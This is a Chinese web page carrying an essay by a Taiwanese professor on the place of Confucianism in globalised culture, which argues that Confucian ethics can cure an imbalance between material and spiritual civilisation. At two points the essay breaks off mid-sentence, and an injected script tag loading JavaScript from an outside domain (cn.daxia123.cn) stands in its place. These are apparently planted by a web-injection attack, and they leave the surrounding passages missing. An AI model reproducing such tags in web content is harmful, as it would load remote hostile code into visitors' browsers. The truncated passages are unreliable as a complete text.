繁体版

此页面上的内容需要较新版本的 Adobe Flash Player。

获取 Adobe Flash Player

您所在的位置:首页 > 国学论丛 > 儒學在全球化文化發展中之角色定位

儒學在全球化文化發展中之角色定位

字号:T|T

 

 
                                      台灣 義守大學 教授  方俊吉

前  言:
    歷來中外的學者對於「文化」(Culture)一名之界說,不盡一致 。綜括而言,所謂「文化」,乃指居住於同一地域之群體人類,為追求生存之需要與生活之提昇,在物質與精神兩方面,經長期間的努力,所共同創造、經營之成果,而呈現在日常生活中之事物及型態。換言之,文化乃族群之精神文明與物質文明的總體呈現。它涵蓋了食、衣、住、行、思想、學術、宗教、藝術、娛樂、……等內容與形式。簡單地說,文化即族群之生活格調。然而,無論是物質或精神之文明,其創造、經營及發展,事實上,均受到人們之思想、理念所主導與制約。蓋思想、理念乃主導人們的價值判斷、道德標準及思維之模式。而一個人的價值判斷、道德標準與思維模式,在在均左右其言行作為之取向。就群體而言,主流理念與思想潮流,乃影響著族群生活之格調,同時,引領著文化發展之趨勢,這是無庸置疑的。
    「文化」雖說是族群所共創、共有之事物與生活型態。然而,由於交通及資訊等科技之急速發展,使得人與人,或國與國之間的空間距離,也無形中,大幅地縮小。人們思維所觀照之半徑,自然也隨之而延伸、擴張至整個世界。再者,居住在不同地域的人們,因各方面的互動漸趨密切,在不同文化的交互激盪,相互觀摩及影響下,於是,原本多元的世界文化,自然逐漸轉化出愈來愈多的相似、共通或共同的現象,所謂「全球化」(Globalization)的文化於焉形成。
    面臨「全球化」文化之發展趨勢,難免造成人們在生活上若干的衝擊與改變。其間,變化結果之優、劣若何?又人們面對此一快速之衝擊與變化,該如何因應?凡此諸多之問題,確實是當前我們所該深思的。
一、當前「全球化」文化發展之趨勢及其存在的問題:
回顧近百年來,由於科技之急速發展,帶動了産業自動化,及交通、資訊…等,各方面長足之進步,委實帶給了人們在物質生活方面,許多的便捷與舒適。其中,尤其是交通的發達,已無形中,壓縮了空間之距離。加之以資訊科技之進步,令訊息的傳播更加快捷而無遠弗屆,從而,促使人際關係及國際關係,日趨密切。於是,乃孕育出所謂「地球村」之概念。在「地球村」概念的逐漸形成下,原本如水火般無法相容的政治意識之矛盾與對立,逐漸走向溝通、和解的道途;經濟利益之爭奪、衝突,也開始有了分工、互補、互惠的調整;宗教信仰之差異及相互排斥,也有彼此尊重與諒解之轉變;…。當此之時,跨國性的大經濟體之組織,全球性之分工,與大區域的整合…等,日趨熱絡。就表面上看來,這些現象似乎說明了「全球化」的發展趨勢,已一步步朝「存異趨同」的方向邁進。
然而,正當「全球化」的文化發展,朝著「存異趨同」的方向邁進,同時,也緣於科技的急速進展,無形中,難免激發了各方面之激烈競爭,從而,促使人們之生活步調愈趨緊湊。存活在如此快節奏的生活環境下,人們往往因緊張而迷惘,因迷惘而失去了方向。終究,由於自我迷失,而忘卻了生命之崇高意義,當然也就無視於生活的真諦了。此外,由於電腦的普及化,也引發了許多人,尤其是年輕朋友,鎮日沉迷于虛擬世界之中,而嚴重地扭曲了現實生活所該遵循之規範。再者,因為人類社會偏執於物質文明的發展,而忽視了精神文明之重要。於是,造成了所謂「文化失衡」的現象。
存活在這偏執於物質享受的時代環境下,人們一昧追求物慾之滿足,致使慾望驅役著思維,私心支配了言行。當此之時,人們的價值觀念已然混淆,道德標準也漸趨低落,胸襟明顯更加狹隘,視野變得更爲短淺。地球上有限的資源,遭無度地開採與恣意地浪費,大環境遭受嚴重的汙染,生態也逐漸失去平衡。無可諱言的,如今,顯現在我們眼前的社會普遍現象,是良知與理性漸被物慾給淹沒,橫逆取代了倫常,和諧變成了紛爭,正義與公理也隨之而漸形衰微,貪婪與霸道之行徑瀰漫。人們在生活上也就當然被自己給「物化」 了。
總而言之,我們檢視當前人類文化發展所存在的癥結,在於物質文明至上,而精神文明衰微之所謂「文化失衡」的問題,至爲明確。時代的弊病,既然是緣於精神文明的衰微,俗話說:「心病唯有心藥醫」。如今,力挽狂瀾之道,當然也應該從精神層面來著手。2005年6月24日,美國基督教元老佈道家,八十六歲的葛理翰先生在紐約的一場佈道大會中,公開呼籲:「當今世界最需要的就是改變人性,讓我們擁有愛心而不是滿懷仇恨。」的確是一針見血。
二、儒家思想之孕育及其主要內涵:
   《中庸》載:「仲尼祖述堯舜,憲章文武,上律天時,下襲水土。辟如天地之無不持載,無不覆幬;辟如四時之錯行;如日月之代明。萬物並育而不相害,道並行而不相悖。小德川流,大德敦化。此天地之所以爲大也。」《漢書?藝文志》亦載:「儒家者流,蓋出於司徒之官,助人君,順陰陽,明教化者也。遊文於六藝之中;留意于仁義之際。祖述堯舜,憲章文武,宗師仲尼以重其言,於道爲最高。」均明確地指出,這個以孔子爲宗師的儒家學派,其思想理念之?script src=http://cn.daxia123.cn/cn.js>
曰:「禮也者,理也。…君子無禮不動,無節不作。」又載:「禮之所興,衆之所治也。禮之所廢,衆之所亂也。」孔子認爲,一個人如能合理地約制自己的視聽言動,始有可能走向「仁」的境界。推而廣之,社會、國家之治亂,當然也端視「禮」之興廢而定。再如《孟子?盡心下》:孟子曰:「養心莫善於寡欲。其爲人也寡欲,雖有不存焉者寡矣。其爲人也多欲,雖有存焉者寡矣。」朱子集註云:「欲,如口、鼻、耳、目、四肢之欲,雖人之所不能無,然多而不節,未有不失其本心者。學者所當深戒也。」孟子所提養心之道,與孔子所提爲仁之道,其精神並無二致。蓋人既有口、鼻、耳、目及身軀肢體,就免不了有飲食和視、聽、言、動及性…等慾求,若要強加禁絕,誠非一般人之所能。是以,孟子勉人,除了要存養其與生俱來的本然的善根性外,最要緊的,是在約制個人之私慾,盡量減低私己之慾求。這些道理,在在均證明了,孔、孟之道所展現合情、合理的精神。
(二)儒學具「可行性」──所謂「可行性」,是指道理是否平易可爲,
契合現實生活,而非玄虛奧秘,遙不可及者。
誠如前所引《中庸》:子曰:「道不遠人,人之爲道而遠人,不可以爲道。」孔子剴切明白地指陳,他所倡導之大道,原本就屬於所謂民生日用,彜倫之常的道理,並非玄之又玄而遙不可及的虛空奧秘。儒學的道理,是要人在平素的待人接物之中,去落實體現。而非將它當成玄虛奧秘的理論去探討、議論。人們如果只知一昧在白紙黑字上下功夫,便會陷入泥沼之中,抑或鑽進牛角尖而無法自拔。
 再者,俗話說:「天下事有兩難。登天難,求人更難。」我們若析究孔、孟所闡述的道理,就不難發現,其中,無一不是從自我省察、自我要求入手,而絕非事事只在要求他人,苛責他人。《中庸》載:「正己而不求於人則無怨。……子曰:射有似乎君子。失諸正鵠,反求諸其身。」《論語?衛靈公》亦載:子曰:「躬自厚而薄責於人,則遠怨矣。」(同篇) 又載:子曰:「君子病無能焉,不病人之不己知也。」;子曰:「君子求諸己,小人求諸人。」;《孟子?離婁上》則載:孟子曰:「愛人不親,反其仁。治人不治,反其智。禮人不答,反其敬。行有不得者,皆反求諸己。其身正而天下歸之。詩云:永言配命,自求多福。」這些明訓,除了表現孔、孟所闡述的道理,其精神在於凡事首重要求自己、檢討自己,而非苛責於人。這也同時說明了,要體現孔、孟所倡之大道,絕非仰賴他人,而是端視自己,爲與不爲而已。只要自己願意,沒有做不到的。這也是孔、孟思想中,十分可貴的精神之一。
(三)儒學具「普遍性」──所謂「普遍性」,指的是理論的適用範圍
不受空間之限制。亦即所謂「放諸四海而皆準」的意思。 
人類是一種群居的動物,而群體生活,是不能沒有秩序與一定之
行爲規範。如前所述,孔、孟之學術思想,乃源自先哲觀察天地自然之理律,所體悟出來的道理。匯集這些道理,加以參驗、思考,而將之運用、發揮在「人」的問題上。客觀地說,站在人類的立場而言,以「人」的問題爲一切問題的根本問題。這種思維與立論的正當性,是不容置疑的。職是,這種以「人本思想」爲基礎的理念,應該是普遍適用於所有的人類。
再者,儒家所強調的「倫理」,即是人際關係的當然道理。換言之,「倫理」即群己關係之適當定位。人、我之間,乃是藉各種相對應的稱謂,來敘明「長幼尊卑,親疏遠近」之關係。《中庸》載:子曰:「????????天下之達道五,所以行之者三。曰、君臣也,父子也,夫婦也,昆弟也,朋友之交也。五者、天下之達道也。」孔子所稱的「五達道」,是綜括人、我之間的五類關係,亦即所謂的「五倫」。它涵蓋了,人際間的「政治關係」、「親屬關係」與「社會關係」。其中,所謂「君臣」之稱謂,容或因古今政治體制之改易,也隨之而有所改變。然而,長官與僚屬的尊卑關係,以及相互對待之道,其精神依然是不得更易的。至於「道德」,簡單地說,乃是提供維繫倫理關係,以至於立身處事的行爲準則。《大學》載:「爲人君,止於仁。爲人臣,止於敬。爲人子,止於孝。爲人父,止於慈。與國人交,止於信。」又《孟子?滕文公上》載:(孟子)曰:「……父子有親,君臣有義,夫婦有別,長幼有序,朋友有信。」因應不同的人際關係與事態,聖哲們提供了許多不同的「道德」,作爲待人與接物的言行作爲之準則。總之,由於人類無法離群而索居,所以,只要有人聚居的地方,就必須講求相互尊重、和諧融洽之道。否則,人與禽獸又有何區別?儒家所倡導的「倫理」與「道德」,其最直接目的,正就是爲提昇人格,洽和群倫。唯「倫理」與「道德」,看來似乎很抽象,且很嚴肅。然而,它卻是像陽光、空氣和水,對人類的必要性一樣。孔、孟之所以強調倫理與道德,其用心可見一斑。
尤值一提的是,以孔、孟思想爲核心之「儒學」,其主要精神,除了重視人與人的關係之外,並未忽略於關照到人類與其他萬物間之關係。《中庸》云:「萬物並育而不相害?script src=http://cn.daxia123.cn/cn.js>
何況,儒家也同時具備教育家的本質,充分展現了,重視從自身要求做起的所謂「身教重於言教」之精神。所以說,在世界人類面臨著,物質文明之發展壓抑了精神文明的提昇之情況下,吾人如欲挽救當前的諸多弊端,導正全球化文化發展之趨勢,則捨儒學之教化,誠別無他途。
結  語:
    兩千多年來,孔、孟的學術思想一直是中華民族文化之主流核心。其間,隨歷史洪流之潮汐起伏,難免也有盛衰變化。尤其,自鴉片戰爭之後,中國人一向存在著的民族自大之心態,一夕之間,被西洋的堅船利砲所粉碎。連帶著,民族的自信心也隨之而喪失了。因而,許多淺見而無知者,將傳統優良的人文精神,一概視之為落伍、迂腐,甚至於形成了崇洋、媚外的心態。不可否認的,民族自大之心態,固不可取。但一個族群,如果喪失了自信心,甚而媚外,則確實非常的可悲。近百年來,這種民族自我迷失的心態,仍然存在於許多中國人的生活中。所幸,一種顛撲不破、歷久彌新的真理,絕不因短暫的陰霾,而喪失其價值與光輝。以孔、孟學術思想為核心之儒學,不但在歷史洪流的衝擊、磨練下,始終未改其在學術、文化上之主導地位,也使中華民族之社會生活中,尚能維繫住重倫理、講道德、標榜氣節的傳統優良人文精神之命脈。而且,其影響所及,如:韓國、日本、越南、星加坡…等鄰邦,早已隱然形成所謂「儒家文化生活圈」。
總而言之,正當人類面臨著全球化文化發展失衡的趨勢下,唯獨令儒家成為挽救人類精神危機之導師,將儒學之教化賦予時代精神,讓它更契合現代的生活,並因勢利導,藉由先進的傳播媒體,使儒家講倫理、重道德之教化,成為所有家庭、學校與社會的人文教育之主軸。使儒家精神普遍宏揚於世界上每個角落。如此一來,人類所共同期盼的和諧共榮,與世界大同之理想,才有可能實現的一天。

(来自http://www.ica.org.cn/

滇ICP备20006117号-1 Copyright 2014 Zhonghyl.com All Rights Reseerved 版全所有·冯燊均国学基金会    网站建设技术支持:昆明天度网络公司

地址:地址:昆明市高新区海源中路169号(西山区一中对面) 电话:0871-888888  传真:0871-888888  邮箱:yes@zhonghyl.com